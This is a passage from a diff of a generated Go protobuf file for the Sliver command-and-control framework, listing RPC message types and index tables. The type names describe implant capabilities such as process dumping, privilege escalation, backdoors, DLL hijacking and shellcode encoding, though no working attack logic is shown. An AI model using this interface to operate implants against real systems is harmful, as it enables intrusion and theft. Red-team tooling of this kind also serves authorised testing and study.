(*sliverpb.RegistryDeleteKeyReq)(nil), // 73: sliverpb.RegistryDeleteKeyReq
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 74: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 75: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 76: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 77: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 78: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RportFwdStartListenerReq)(nil), // 79: sliverpb.RportFwdStartListenerReq
|
||||
(*sliverpb.RportFwdListenersReq)(nil), // 80: sliverpb.RportFwdListenersReq
|
||||
(*sliverpb.RportFwdStopListenerReq)(nil), // 81: sliverpb.RportFwdStopListenerReq
|
||||
(*sliverpb.OpenSession)(nil), // 82: sliverpb.OpenSession
|
||||
(*sliverpb.CloseSession)(nil), // 83: sliverpb.CloseSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 84: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 85: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 86: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 87: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 88: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 89: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 90: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 91: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 92: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 93: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 94: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 95: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 96: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 97: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 98: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 99: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 100: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 101: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 102: clientpb.Sessions
|
||||
(*clientpb.Beacons)(nil), // 103: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 104: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 105: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 106: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 107: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 108: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 109: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 110: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 111: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 112: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 113: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 114: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 115: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 116: clientpb.ExternalImplantConfig
|
||||
(*clientpb.Builders)(nil), // 117: clientpb.Builders
|
||||
(*clientpb.ImplantBuilds)(nil), // 118: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 119: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 120: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 121: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 122: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 123: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 124: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 125: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 126: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 127: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.Websites)(nil), // 128: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 129: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 130: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 131: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 132: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 133: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 134: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 135: sliverpb.Mv
|
||||
(*sliverpb.Rm)(nil), // 136: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 137: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 138: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 139: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 140: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 141: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 142: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 143: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 144: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 145: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 146: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 147: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 148: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 149: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 150: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 151: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 152: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.PivotListener)(nil), // 153: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 154: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 155: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 156: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 157: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 158: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 159: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 160: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 161: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 162: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 163: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 164: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 165: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 166: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 167: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 168: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 169: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 170: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 171: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 172: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 173: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 174: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 175: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 176: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 177: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 178: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 179: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 180: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 181: sliverpb.Portfwd
|
||||
(*sliverpb.ChmodReq)(nil), // 43: sliverpb.ChmodReq
|
||||
(*sliverpb.ChownReq)(nil), // 44: sliverpb.ChownReq
|
||||
(*sliverpb.ChtimesReq)(nil), // 45: sliverpb.ChtimesReq
|
||||
(*sliverpb.ProcessDumpReq)(nil), // 46: sliverpb.ProcessDumpReq
|
||||
(*sliverpb.RunAsReq)(nil), // 47: sliverpb.RunAsReq
|
||||
(*sliverpb.ImpersonateReq)(nil), // 48: sliverpb.ImpersonateReq
|
||||
(*sliverpb.RevToSelfReq)(nil), // 49: sliverpb.RevToSelfReq
|
||||
(*clientpb.GetSystemReq)(nil), // 50: clientpb.GetSystemReq
|
||||
(*sliverpb.TaskReq)(nil), // 51: sliverpb.TaskReq
|
||||
(*clientpb.MSFReq)(nil), // 52: clientpb.MSFReq
|
||||
(*clientpb.MSFRemoteReq)(nil), // 53: clientpb.MSFRemoteReq
|
||||
(*sliverpb.ExecuteAssemblyReq)(nil), // 54: sliverpb.ExecuteAssemblyReq
|
||||
(*clientpb.MigrateReq)(nil), // 55: clientpb.MigrateReq
|
||||
(*sliverpb.ExecuteReq)(nil), // 56: sliverpb.ExecuteReq
|
||||
(*sliverpb.ExecuteWindowsReq)(nil), // 57: sliverpb.ExecuteWindowsReq
|
||||
(*sliverpb.SideloadReq)(nil), // 58: sliverpb.SideloadReq
|
||||
(*sliverpb.InvokeSpawnDllReq)(nil), // 59: sliverpb.InvokeSpawnDllReq
|
||||
(*sliverpb.ScreenshotReq)(nil), // 60: sliverpb.ScreenshotReq
|
||||
(*sliverpb.CurrentTokenOwnerReq)(nil), // 61: sliverpb.CurrentTokenOwnerReq
|
||||
(*sliverpb.PivotStartListenerReq)(nil), // 62: sliverpb.PivotStartListenerReq
|
||||
(*sliverpb.PivotStopListenerReq)(nil), // 63: sliverpb.PivotStopListenerReq
|
||||
(*sliverpb.PivotListenersReq)(nil), // 64: sliverpb.PivotListenersReq
|
||||
(*sliverpb.StartServiceReq)(nil), // 65: sliverpb.StartServiceReq
|
||||
(*sliverpb.StopServiceReq)(nil), // 66: sliverpb.StopServiceReq
|
||||
(*sliverpb.RemoveServiceReq)(nil), // 67: sliverpb.RemoveServiceReq
|
||||
(*sliverpb.MakeTokenReq)(nil), // 68: sliverpb.MakeTokenReq
|
||||
(*sliverpb.EnvReq)(nil), // 69: sliverpb.EnvReq
|
||||
(*sliverpb.SetEnvReq)(nil), // 70: sliverpb.SetEnvReq
|
||||
(*sliverpb.UnsetEnvReq)(nil), // 71: sliverpb.UnsetEnvReq
|
||||
(*sliverpb.BackdoorReq)(nil), // 72: sliverpb.BackdoorReq
|
||||
(*sliverpb.RegistryReadReq)(nil), // 73: sliverpb.RegistryReadReq
|
||||
(*sliverpb.RegistryWriteReq)(nil), // 74: sliverpb.RegistryWriteReq
|
||||
(*sliverpb.RegistryCreateKeyReq)(nil), // 75: sliverpb.RegistryCreateKeyReq
|
||||
(*sliverpb.RegistryDeleteKeyReq)(nil), // 76: sliverpb.RegistryDeleteKeyReq
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 77: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 78: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 79: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 80: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 81: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RportFwdStartListenerReq)(nil), // 82: sliverpb.RportFwdStartListenerReq
|
||||
(*sliverpb.RportFwdListenersReq)(nil), // 83: sliverpb.RportFwdListenersReq
|
||||
(*sliverpb.RportFwdStopListenerReq)(nil), // 84: sliverpb.RportFwdStopListenerReq
|
||||
(*sliverpb.OpenSession)(nil), // 85: sliverpb.OpenSession
|
||||
(*sliverpb.CloseSession)(nil), // 86: sliverpb.CloseSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 87: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 88: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 89: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 90: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 91: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 92: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 93: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 94: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 95: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 96: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 97: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 98: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 99: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 100: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 101: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 102: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 103: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 104: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 105: clientpb.Sessions
|
||||
(*clientpb.Beacons)(nil), // 106: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 107: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 108: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 109: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 110: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 111: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 112: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 113: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 114: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 115: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 116: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 117: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 118: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 119: clientpb.ExternalImplantConfig
|
||||
(*clientpb.Builders)(nil), // 120: clientpb.Builders
|
||||
(*clientpb.ImplantBuilds)(nil), // 121: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 122: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 123: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 124: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 125: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 126: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 127: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 128: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 129: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 130: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.Websites)(nil), // 131: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 132: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 133: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 134: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 135: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 136: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 137: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 138: sliverpb.Mv
|
||||
(*sliverpb.Rm)(nil), // 139: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 140: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 141: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 142: sliverpb.Upload
|
||||
(*sliverpb.Chmod)(nil), // 143: sliverpb.Chmod
|
||||
(*sliverpb.Chown)(nil), // 144: sliverpb.Chown
|
||||
(*sliverpb.Chtimes)(nil), // 145: sliverpb.Chtimes
|
||||
(*sliverpb.ProcessDump)(nil), // 146: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 147: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 148: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 149: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 150: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 151: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 152: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 153: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 154: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 155: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 156: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 157: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 158: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.PivotListener)(nil), // 159: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 160: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 161: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 162: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 163: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 164: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 165: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 166: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 167: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 168: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 169: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 170: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 171: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 172: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 173: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 174: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 175: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 176: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 177: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 178: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 179: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 180: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 181: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 182: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 183: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 184: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 185: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 186: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 187: sliverpb.Portfwd
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -792,201 +807,207 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
40, // 70: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
|
||||
41, // 71: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
|
||||
42, // 72: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
|
||||
43, // 73: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
|
||||
44, // 74: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
|
||||
45, // 75: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
|
||||
46, // 76: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
|
||||
47, // 77: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
|
||||
48, // 78: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
|
||||
49, // 79: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
|
||||
50, // 80: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
|
||||
51, // 81: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
|
||||
52, // 82: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
|
||||
53, // 83: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
|
||||
54, // 84: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
|
||||
55, // 85: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
56, // 86: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
57, // 87: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
58, // 88: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
|
||||
59, // 89: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
60, // 90: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
61, // 91: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 92: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
62, // 93: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
63, // 94: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
64, // 95: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
65, // 96: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
66, // 97: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
67, // 98: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
68, // 99: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
69, // 100: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
70, // 101: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
71, // 102: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
72, // 103: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
73, // 104: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
74, // 105: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
75, // 106: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
76, // 107: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
77, // 108: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
78, // 109: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
79, // 110: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
|
||||
80, // 111: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
|
||||
81, // 112: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
|
||||
82, // 113: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
83, // 114: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
84, // 115: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
85, // 116: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
86, // 117: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
87, // 118: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
88, // 119: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
89, // 120: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
90, // 121: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
91, // 122: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
92, // 123: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
93, // 124: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
94, // 125: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
95, // 126: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
95, // 127: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
96, // 128: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
97, // 129: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
97, // 130: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
98, // 131: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 132: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
99, // 133: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
100, // 134: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 135: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
101, // 136: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 137: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
102, // 138: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
103, // 139: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 140: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 141: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
104, // 142: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 143: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 144: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
105, // 145: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 146: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
106, // 147: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
107, // 148: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
108, // 149: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
109, // 150: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
110, // 151: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
111, // 152: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
111, // 153: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
112, // 154: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
112, // 155: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 156: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 157: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
